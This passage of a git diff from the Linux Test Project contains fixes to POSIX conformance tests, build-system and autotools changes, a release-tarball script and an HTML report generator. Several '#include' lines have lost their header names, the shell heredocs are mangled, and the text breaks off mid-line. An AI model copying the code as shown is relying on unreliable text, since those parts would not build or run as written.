shall return an error number. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c index a21a5a50..a2e56846 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c @@ -141,7 +141,9 @@ int main(void) if (pid == -1) { perror("Error at fork()"); return PTS_UNRESOLVED; - } else if (pid == 0) { + } + + if (pid == 0) { /* Child */ /* Map the shared object to child's memory */ barrier = @@ -175,44 +177,40 @@ int main(void) } - if (pid > 0) { - /* parent */ - if (wait(&status) != pid) { - printf("parent: error at waitpid()\n"); - return PTS_UNRESOLVED; - } + if (pid == 0) + return serial; - if (!WIFEXITED(status)) { - printf("Child exited abnormally\n"); - return PTS_UNRESOLVED; - } - - if ((WEXITSTATUS(status) + serial) != LOOP_NUM) { - printf("status = %d\n", status); - printf("serial = %d\n", serial); - printf - ("Test FAILED: One of the two processes should get " - "PTHREAD_BARRIER_SERIAL_THREAD\n"); - return PTS_FAIL; - } + /* parent */ + if (wait(&status) != pid) { + printf("parent: error at waitpid()\n"); + return PTS_UNRESOLVED; + } - /* Cleanup */ - if (pthread_barrier_destroy(barrier) != 0) { - printf("Error at pthread_barrier_destroy()\n"); - return PTS_UNRESOLVED; - } + if (!WIFEXITED(status)) { + printf("Child exited abnormally\n"); + return PTS_UNRESOLVED; + } - if ((shm_unlink(shm_name)) != 0) { - perror("Error at shm_unlink()"); - return PTS_UNRESOLVED; - } + if ((WEXITSTATUS(status) + serial) != LOOP_NUM) { + printf("status = %d\n", status); + printf("serial = %d\n", serial); + printf + ("Test FAILED: One of the two processes should get " + "PTHREAD_BARRIER_SERIAL_THREAD\n"); + return PTS_FAIL; + } - printf("Test PASSED\n"); - return PTS_PASS; + /* Cleanup */ + if (pthread_barrier_destroy(barrier) != 0) { + printf("Error at pthread_barrier_destroy()\n"); + return PTS_UNRESOLVED; } - if (pid == 0) { - exit(serial); + if ((shm_unlink(shm_name)) != 0) { + perror("Error at shm_unlink()"); + return PTS_UNRESOLVED; } + printf("Test PASSED\n"); + return PTS_PASS; } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c index d07a199c..a618e98c 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_cond_destroy() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c index f0402648..886d0f04 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_cond_init() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c index 4217afa4..80cd2ad9 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/3-1.c @@ -6,14 +6,12 @@ * source tree. * Test that pthread_detach() - * - * Upon succesful completion, it shall return a 0; + * Upon successful completion, it shall return 0. * * STEPS: * 1.Create a joinable thread * 2.Detach that thread * 3.Check the return value - * */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c index 9ce4ca10..a8b032c5 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_destroy/3-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_mutex_destroy() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c index d7b4f204..1df6e5af 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_init/4-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_mutex_init() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c index 7e8827c4..a8123ba5 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_lock/2-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_mutex_lock() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c index 32151322..ea81f99c 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_trylock/3-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_mutex_trylock() - * Upon succesful completion, it shall return a 0 - * + * Upon successful completion, it shall return 0. */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c index 4053388b..cb0ae72b 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_mutex_unlock/3-1.c @@ -6,8 +6,7 @@ * source tree. * Test that pthread_mutex_unlock() - * Upon succesful completion, it shall return zero - * + * Upon successful completion, it shall return zero */ #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c index 3ffdc0ce..72c40f11 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_rwlockattr_getpshared/2-1.c @@ -126,7 +126,11 @@ int main(void) if (pid == -1) { perror("Error at fork()"); return PTS_UNRESOLVED; - } else if (pid > 0) { + } + + if (pid > 0) { + int status; + /* Parent */ /* wait until child do wrlock */ while (rwlock_data->data == 0) { @@ -141,7 +145,7 @@ int main(void) printf("Parent unlocked.\n"); /* Wait for child to end */ - wait(NULL); + wait(&status); if ((shm_unlink(shm_name)) != 0) { perror("Error at shm_unlink()"); @@ -154,6 +158,16 @@ int main(void) return PTS_FAIL; } + if (!WIFEXITED(status)) { + printf("Parent: did not exit properly!\n"); + return PTS_FAIL; + } + + if (WEXITSTATUS(status)) { + printf("Parent: failure in child\n"); + return WEXITSTATUS(status); + } + printf("Test PASSED\n"); return PTS_PASS; } else { @@ -195,5 +209,7 @@ int main(void) rwlock_data->data = -1; return PTS_FAIL; } + + return PTS_PASS; } } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c index 63f6721c..12f522e1 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_sigmask/5-1.c @@ -5,7 +5,7 @@ * of this license, see the COPYING file at the top level of this * source tree. -The resulting set shall be the the signal set pointed to by set +The resulting set shall be the signal set pointed to by set Steps: 1. Have main create a new thread and wait for its termination. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c index b7dd9e05..f20822c5 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c @@ -100,7 +100,11 @@ int main(void) if (pid == -1) { perror("Error at fork()"); return PTS_UNRESOLVED; - } else if (pid > 0) { + } + + if (pid > 0) { + int status; + /* Parent */ /* wait until child writes to spinlock data */ while (spinlock_data->data != 1) @@ -116,13 +120,23 @@ int main(void) spinlock_data->data = 2; /* Wait until child ends */ - wait(NULL); + wait(&status); if ((shm_unlink(shm_name)) != 0) { perror("Error at shm_unlink()"); return PTS_UNRESOLVED; } + if (!WIFEXITED(status)) { + printf("Parent: did not exit properly!\n"); + return PTS_FAIL; + } + + if (WEXITSTATUS(status)) { + printf("Parent: failure in child\n"); + return WEXITSTATUS(status); + } + printf("Test PASSED\n"); return PTS_PASS; } else { @@ -170,5 +184,7 @@ int main(void) printf("Child: error at pthread_spin_destroy()\n"); return PTS_UNRESOLVED; } + + return PTS_PASS; } } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c index f3cb9b2a..df0d4df8 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c @@ -106,7 +106,11 @@ int main(void) if (pid == -1) { perror("Error at fork()"); return PTS_UNRESOLVED; - } else if (pid > 0) { + } + + if (pid > 0) { + int status; + /* Parent */ /* wait until child writes to spinlock data */ while (spinlock_data->data != 1) @@ -122,13 +126,23 @@ int main(void) spinlock_data->data = 2; /* Wait until child ends */ - wait(NULL); + wait(&status); if ((shm_unlink(shm_name)) != 0) { perror("Error at shm_unlink()"); return PTS_UNRESOLVED; } + if (!WIFEXITED(status)) { + printf("Parent: did not exit properly!\n"); + return PTS_FAIL; + } + + if (WEXITSTATUS(status)) { + printf("Parent: failure in child\n"); + return WEXITSTATUS(status); + } + printf("Test PASSED\n"); return PTS_PASS; } else { @@ -175,5 +189,7 @@ int main(void) printf("Child: error at pthread_spin_destroy()\n"); return PTS_UNRESOLVED; } + + return PTS_PASS; } } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c index 1dfee2ef..005f46a4 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c @@ -5,7 +5,7 @@ * of this license, see the COPYING file at the top level of this * source tree. - * Test that the the raise() function does not return until after the + * Test that the raise() function does not return until after the * signal handler it calls returns. * This test is only performed on one signal. All other signals are * considered to be in the same equivalence class. diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c index fb19ff6a..ee106c67 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-1.c @@ -24,10 +24,10 @@ * 5. Both children and father increment a counter in a basic loop. * 6. The father send SIGTERM to the last child and get its counter. If child * counter is reasonably lower than the fathers one, the test is - * succesfull. + * successful. * 7. The father kill all other children. - * */ + #include "affinity.h" #include diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c index 6c68120c..c81ffd37 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/sched_setparam/2-2.c @@ -24,9 +24,8 @@ * 5. Both children and father increment a counter in a basic loop. * 6. The father send SIGTERM to the last child and get its counter. If child * counter is reasonably lower than the fathers one, the test is - * succesfull. + * successful. * 7. The father kill all other children. - * */ #include "affinity.h" diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c index 2a02a753..bca21371 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c @@ -19,11 +19,11 @@ #include #include #include +#include #include "posixtest.h" #define TEST "3-1" #define FUNCTION "sem_destroy" -#define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " static sem_t psem, csem; static int n; @@ -33,6 +33,7 @@ static void *consumer(void *); int main(void) { pthread_t prod, cons; + int err; long cnt = 3; n = 0; @@ -40,28 +41,40 @@ int main(void) perror("sem_init"); return PTS_UNRESOLVED; } + if (sem_init(&psem, 0, 1) < 0) { perror("sem_init"); return PTS_UNRESOLVED; } + if (pthread_create(&prod, NULL, producer, (void *)cnt) != 0) { perror("pthread_create"); return PTS_UNRESOLVED; } + if (pthread_create(&cons, NULL, consumer, (void *)cnt) != 0) { perror("pthread_create"); return PTS_UNRESOLVED; } - if (pthread_join(prod, NULL) == 0 && pthread_join(cons, NULL) == 0) { + err = pthread_join(prod, NULL); + if (err) { + printf("Failed to join thread: %s", strerror(err)); + return PTS_UNRESOLVED; + } + + err = pthread_join(cons, NULL); + if (err) { + printf("Failed to join thread: %s", strerror(err)); + return PTS_UNRESOLVED; + } + + if (sem_destroy(&psem) == 0 && sem_destroy(&csem) == 0) { puts("TEST PASS"); - pthread_exit(NULL); - if ((sem_destroy(&psem) == 0) && sem_destroy(&csem) == 0) { - return PTS_PASS; - } else { - puts("TEST FAILED"); - return PTS_FAIL; - } + return PTS_PASS; + } else { + puts("TEST FAILED"); + return PTS_FAIL; } } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c index f87afaa4..b06bf052 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c +++ b/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/11-1.c @@ -24,7 +24,7 @@ #include "posixtest.h" #define TIMEOUT 2 -#define INVALIDTIMEOUT -2 +#define NEGATIVETIMEOUT -2 #define TEST "11-1" #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " @@ -45,7 +45,7 @@ int main(void) ts[i].tv_sec = time(NULL) + TIMEOUT; ts[i].tv_nsec = 0; } else if (i == 1) { - ts[i].tv_sec = time(NULL) + INVALIDTIMEOUT; + ts[i].tv_sec = time(NULL) + NEGATIVETIMEOUT; ts[i].tv_nsec = 0; } /* Lock Semaphore */ @@ -61,15 +61,15 @@ int main(void) return PTS_UNRESOLVED; } + sem_destroy(&mysemp[i]); + /* Checking if the value of the Semaphore decremented by one */ - if ((val[i] == 0) && (sts[i] == 0)) { - puts("TEST PASSED"); - sem_destroy(&mysemp[i]); - return PTS_PASS; - } else { + if ((val[i] != 0) || (sts[i] != 0)) { puts("TEST FAILED"); - sem_destroy(&mysemp[i]); return PTS_FAIL; } } + + puts("TEST PASSED"); + return PTS_PASS; } diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/assertions.xml b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/assertions.xml index 37b96641..86fc1d54 100755 --- a/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/assertions.xml +++ b/testcases/open_posix_testsuite/conformance/interfaces/sigqueue/assertions.xml @@ -5,7 +5,7 @@ Error checking is performed but no signal is actually sent, if signo is zero (the null signal). - Using the null signal can be used to check the the validity of pid. + Using the null signal can be used to check the validity of pid. For a process to have permission to queue a signal to another process diff --git a/testcases/open_posix_testsuite/functional/Makefile b/testcases/open_posix_testsuite/functional/Makefile index 3b22c89a..4af1790f 100755 --- a/testcases/open_posix_testsuite/functional/Makefile +++ b/testcases/open_posix_testsuite/functional/Makefile @@ -4,10 +4,12 @@ # Ngie Cooper, June 2010 # +.PHONY: all clean install test all clean install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ done +.PHONY: distclean-makefiles distclean-makefiles: @find */ -name 'Makefile*' | grep -v threads/Makefile | grep -v timers/Makefile | xargs rm -f diff --git a/testcases/open_posix_testsuite/include/mk/config.mk.in b/testcases/open_posix_testsuite/include/mk/config.mk.in new file mode 100644 index 00000000..c9a4b5c5 --- /dev/null +++ b/testcases/open_posix_testsuite/include/mk/config.mk.in @@ -0,0 +1,17 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Joerg Vehlow + +CC = @CC@ +CFLAGS += @CFLAGS@ +LDLIBS += @LIBS@ +LDFLAGS += @LDFLAGS@ + +prefix := @prefix@ +exec_prefix := @exec_prefix@ +bindir := ${exec_prefix}/bin + +testdir_rel := @testdir@ +testdir := ${prefix}/${testdir_rel} +testdir_bin := ${testdir}/bin + +CFLAGS += -std=c99 -D_POSIX_C_SOURCE=200809L -D_XOPEN_SOURCE=700 -W -Wall diff --git a/testcases/open_posix_testsuite/include/mk/env.mk b/testcases/open_posix_testsuite/include/mk/env.mk new file mode 100644 index 00000000..0cd485f6 --- /dev/null +++ b/testcases/open_posix_testsuite/include/mk/env.mk @@ -0,0 +1,11 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Joerg Vehlow + +abs_top_builddir := $(abspath $(top_srcdir)) + +# autotools, *clean, don't require config.mk +ifeq ($(filter autotools %clean,$(MAKECMDGOALS)),) +include $(abs_top_builddir)/include/mk/config.mk +else +-include $(abs_top_builddir)/include/mk/config.mk +endif diff --git a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh index 5cfb8e38..0649c480 100755 --- a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh +++ b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh @@ -111,9 +111,9 @@ top_srcdir?= `echo "$prereq_dir" | awk '{ gsub(/[^\/]+/, "..", $0); print }'` subdir= $prereq_cache_dir srcdir= \$(top_srcdir)/\$(subdir) -prefix?= $PREFIX -exec_prefix?= \$(prefix) -INSTALL_DIR= \$(DESTDIR)/\$(exec_prefix)/\$(subdir) +include \$(top_srcdir)/include/mk/env.mk + +INSTALL_DIR= \$(DESTDIR)/\$(testdir)/\$(subdir) LOGFILE?= logfile # Build variables @@ -124,19 +124,12 @@ CFLAGS+= -I\$(srcdir) EOF - if [ -f "$GLOBAL_BOILERPLATE" ]; then - cat >> "$makefile.1" <> "$makefile.1" <> "$makefile.1" </dev/null` EOF @@ -169,13 +162,16 @@ EOF if [ ! -f "$makefile.3" ]; then cat > "$makefile.3" <> "$GLOBAL_BOILERPLATE" <> "$GLOBAL_BOILERPLATE" -fi - # For the generic cases. generate_locate_test_makefile buildonly '.test' "$buildonly_compiler_args" generate_locate_test_makefile runnable '.run-test' generate_locate_test_makefile test-tools '' -rm -f "$GLOBAL_BOILERPLATE" - find . -name Makefile.1 -exec dirname {} \; | while read dir; do if [ -f "$dir/Makefile.2" ]; then cat $dir/Makefile.1 $dir/Makefile.2 $dir/Makefile.3 > $dir/Makefile diff --git a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh index 69466bb1..281e9c88 100755 --- a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh +++ b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/bin/sh if [ $# -ne 3 ]; then echo "Usage: ./tst_kvercmp.sh r1 r2 r3" @@ -10,6 +10,7 @@ r1=$(echo ${ker_ver} | awk -F. '{print $1}') r2=$(echo ${ker_ver} | awk -F. '{print $2}') r3=$(echo ${ker_ver} | awk -F. '{print $3}') r3=${r3%%-*} +r3=${r3%%+*} test_ver=$(($1 * 65536 + $2 * 256 + $3)) curr_ver=$((${r1} * 65536 + ${r2} * 256 + ${r3})) diff --git a/testcases/open_posix_testsuite/stress/Makefile b/testcases/open_posix_testsuite/stress/Makefile index b09527fd..f6814052 100755 --- a/testcases/open_posix_testsuite/stress/Makefile +++ b/testcases/open_posix_testsuite/stress/Makefile @@ -4,10 +4,12 @@ # Ngie Cooper, June 2010 # +.PHONY: all clean install test all clean install test: @for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \ $(MAKE) -C $$dir $@; \ done +.PHONY: distclean-makefiles distclean-makefiles: @find */ -name 'Makefile*' | xargs rm -f diff --git a/testcases/open_posix_testsuite/tools/Makefile b/testcases/open_posix_testsuite/tools/Makefile index a6f0917a..6d2f08a0 100755 --- a/testcases/open_posix_testsuite/tools/Makefile +++ b/testcases/open_posix_testsuite/tools/Makefile @@ -4,14 +4,15 @@ # Ngie Cooper, June 2010 # --include ../../../include/mk/config-openposix.mk +top_srcdir ?= .. +srcdir = $(top_srcdir)/tools -top_srcdir?= .. - -srcdir= $(top_srcdir)/tools +include ../include/mk/env.mk +.PHONY: all all: ../bin/t0 +.PHONY: clean clean: @rm -f ../bin/t0 diff --git a/testcases/realtime/configure.ac b/testcases/realtime/configure.ac index e483caf0..6f50f149 100755 --- a/testcases/realtime/configure.ac +++ b/testcases/realtime/configure.ac @@ -35,8 +35,8 @@ else AC_MSG_RESULT(no) fi -REALTIME_CHECK_PRIO_INHERIT +AC_CHECK_LIB([m], [exp10], [AC_DEFINE([HAVE_EXP10], 1, [Define to 1 if you have exp10 function])]) -LTP_CHECK_EXP10 +REALTIME_CHECK_PRIO_INHERIT AC_OUTPUT diff --git a/testcases/realtime/func/matrix_mult/matrix_mult.c b/testcases/realtime/func/matrix_mult/matrix_mult.c index e2a55628..c3209234 100755 --- a/testcases/realtime/func/matrix_mult/matrix_mult.c +++ b/testcases/realtime/func/matrix_mult/matrix_mult.c @@ -100,7 +100,7 @@ static void matrix_mult(struct matrices *matrices) matrix_init(matrices->A, matrices->B); for (i = 0; i < MATRIX_SIZE; i++) { - int i_m = MATRIX_SIZE - i; + int i_m = MATRIX_SIZE - i - 1; for (j = 0; j < MATRIX_SIZE; j++) { double sum = matrices->A[i_m][j] * matrices->B[j][i]; for (k = 0; k < MATRIX_SIZE; k++) diff --git a/testcases/realtime/func/rt-migrate/rt-migrate.c b/testcases/realtime/func/rt-migrate/rt-migrate.c index 3e6c82a2..97ab604c 100755 --- a/testcases/realtime/func/rt-migrate/rt-migrate.c +++ b/testcases/realtime/func/rt-migrate/rt-migrate.c @@ -394,7 +394,7 @@ static void stop_log(int sig) int main(int argc, char **argv) { - pthread_t *threads; + int *threads; long i; int ret; struct timespec intv; diff --git a/testcases/realtime/m4/check.m4 b/testcases/realtime/m4/check.m4 index e60ae192..d04a2cc7 100755 --- a/testcases/realtime/m4/check.m4 +++ b/testcases/realtime/m4/check.m4 @@ -1,10 +1,10 @@ AC_DEFUN([REALTIME_CHECK_PRIO_INHERIT],[ AC_MSG_CHECKING([for PTHREAD_PRIO_INHERIT]) -AC_TRY_COMPILE([ -#include ],[int main(void) { +AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ +#include ]], [[int main(void) { pthread_mutexattr_t attr; return pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT); -}],[has_priority_inherit="yes"],[]) +}]])],[has_priority_inherit="yes"],[]) if test "x$has_priority_inherit" = "xyes" ; then AC_DEFINE(HAS_PRIORITY_INHERIT,1,[Define to 1 if you have PTHREAD_PRIO_INHERIT]) AC_MSG_RESULT(yes) diff --git a/testcases/realtime/tools/ftqviz.py b/testcases/realtime/tools/ftqviz.py index 5ac094cb..f56d41aa 100755 --- a/testcases/realtime/tools/ftqviz.py +++ b/testcases/realtime/tools/ftqviz.py @@ -45,7 +45,7 @@ def smooth(x, wlen): # generate the smoothed signal y = convolve(w/w.sum(), s, mode='same') - # recenter the the smoothed signal over the originals (slide along x) + # recenter the smoothed signal over the originals (slide along x) y1 = y[wlen-1:-wlen+1] return y1 diff --git a/testscripts/network.sh b/testscripts/network.sh index 5cfeee84..afe9c7a9 100755 --- a/testscripts/network.sh +++ b/testscripts/network.sh @@ -26,10 +26,9 @@ usage() echo " -6 IPv6 tests" echo " -m multicast tests" echo " -n NFS tests" - echo " -r RPC tests" echo " -s SCTP tests" echo " -t TCP/IP command tests" - echo " -c TI-RPC tests" + echo " -c RPC and TI-RPC tests" echo " -d TS-RPC tests" echo " -a Application stress tests (HTTP, SSH, DNS)" echo " -e Interface stress tests" @@ -56,7 +55,6 @@ do 6) TEST_CASES="$TEST_CASES net.ipv6 net.ipv6_lib";; m) TEST_CASES="$TEST_CASES net.multicast";; n) TEST_CASES="$TEST_CASES net.nfs";; - r) TEST_CASES="$TEST_CASES net.rpc";; s) TEST_CASES="$TEST_CASES net.sctp";; t) TEST_CASES="$TEST_CASES net.tcp_cmds";; c) TEST_CASES="$TEST_CASES net.rpc_tests";; @@ -88,13 +86,6 @@ if [ "$OPTIND" -eq 1 ]; then fi shift $(($OPTIND - 1)) -TST_NO_DEFAULT_RUN=1 -. tst_net.sh - -# Reset variables. -# Don't break the tests which are using 'testcases/lib/cmdlib.sh' -unset TST_ID TST_LIB_LOADED TST_NO_DEFAULT_RUN - rm -f $CMDFILE for t in $TEST_CASES; do diff --git a/tools/create-tarballs-metadata.sh b/tools/create-tarballs-metadata.sh new file mode 100644 index 00000000..e7f93d5c --- /dev/null +++ b/tools/create-tarballs-metadata.sh @@ -0,0 +1,56 @@ +#!/bin/sh +# Copyright (c) 2023 Petr Vorel +# Create tarballs and metadata for uploading after tagging release. +# https://github.com/linux-test-project/ltp/wiki/LTP-Release-Procedure +set -e + +tag="$(date +%Y%m%d)" +tarball_dir="ltp-full-$tag" +extensions="bz2 xz" +checksums="md5 sha1 sha256" +git_dir=$(cd $(dirname "$0")/..; pwd) +dir="$(cd $git_dir/../; pwd)/ltp-release-$tag" + +. $(dirname "$0")/lib.sh + +if [ -d $dir ]; then + ask "Directory '$dir' exists, will be deleted" + rm -rf $dir +fi +rod mkdir $dir +cd $dir +dir=$PWD + +# git clone (local) +title "git clone" +rod git clone $git_dir $tarball_dir +rod cd $tarball_dir + +title "Update submodules" +rod git submodule update --init + +title "Generate configure script" +rod make autotools + +# tarballs, checksums +title "Generate tarballs" +cd .. +rod tar --exclude .git -cjf $tarball_dir.tar.bz2 $tarball_dir +rod tar --exclude .git -cJf $tarball_dir.tar.xz $tarball_dir + +title "Generate checksums" +for alg in $checksums; do + for ext in $extensions; do + file="$tarball_dir.tar.$ext" + ${alg}sum $file > "$file.$alg" + done +done + +# metadata documentation +title "Generate metadata documentation" +cd $tarball_dir +rod ./configure --with-metadata-generator=asciidoctor +rod make -C metadata +cp -v docparse/metadata.html $dir/metadata.$tag.html + +echo "Generated files are in '$dir', upload them to github" diff --git a/tools/genhtml.pl b/tools/genhtml.pl index 7e9bdd47..d8f52663 100755 --- a/tools/genhtml.pl +++ b/tools/genhtml.pl @@ -50,6 +50,7 @@ my $retr_test_counter = 0; my $retr_test_counter_flag = 0; my $conf_test_counter = 0; my $conf_test_counter_flag = 0; +my $test_passed = 0; my $detected_fail = 0; my $detected_pass = 0; @@ -115,7 +116,7 @@ foreach my $file (@ARGV) { if ($line =~ /$end_tag/) { print "$row_line"; $process_line = 0; - $flag = 0; $flag2 = 0; $flag3 = 0; $flag4 = 0; + $flag = 0; $flag2 = 0; $flag3 = 0; $flag4 = 0; $flag5 = 0; $detected_fail = 0; $detected_pass = 0; $detected_warn = 0; $detected_brok = 0; $detected_retr = 0; $detected_conf = 0; $background_colour = 0; $failed_test_counter_flag = 0; $brok_test_counter_flag = 0; $warn_test_counter_flag = 0; $retr_test_counter_flag = 0; $conf_test_counter_flag = 0; $row_line= ""; } @@ -175,38 +176,30 @@ foreach my $file (@ARGV) { $flag2 = 0; $flag3 = 1; $flag4 = 1; + $flag5 = 1; $row_line = $row_line . ""; } if ( $flag2 == 1 ) { $row_line = $row_line . "$line \n"; - if ($line =~ /\ TFAIL\ / ) { - $detected_fail = 1; - if ( $failed_test_counter_flag == 0 ) { - $failed_test_counter++; - $failed_test_counter_flag=1; - } - } elsif ($line =~ /\ TBROK\ / ) { - $detected_brok = 1; - if ( $brok_test_counter_flag == 0 ) { - $brok_test_counter++; - $brok_test_counter_flag=1; - } - } elsif ($line =~ /\ TWARN\ / ) { - $detected_warn = 1; - if ( $warn_test_counter_flag == 0 ) { - $warn_test_counter++; - $warn_test_counter_flag=1; - } - } elsif ($line =~ /\ TCONF\ / ) { - $detected_conf = 1; - if ( $conf_test_counter_flag == 0 ) { - $conf_test_counter++; - $conf_test_counter_flag=1; - } - } else { - $detected_pass = 1; - } } + if ( $flag5 == 1 ) { + if ($line =~ "termination_id=1" ) { + $detected_fail = 1; + $failed_test_counter++; + } elsif ($line =~ "termination_id=2" ) { + $detected_brok = 1; + $brok_test_counter++; + } elsif ($line =~ "termination_id=4" ) { + $detected_warn = 1; + $warn_test_counter++; + } elsif ($line =~ "termination_id=32" ) { + $detected_conf = 1; + $conf_test_counter++; + } elsif ($line =~ 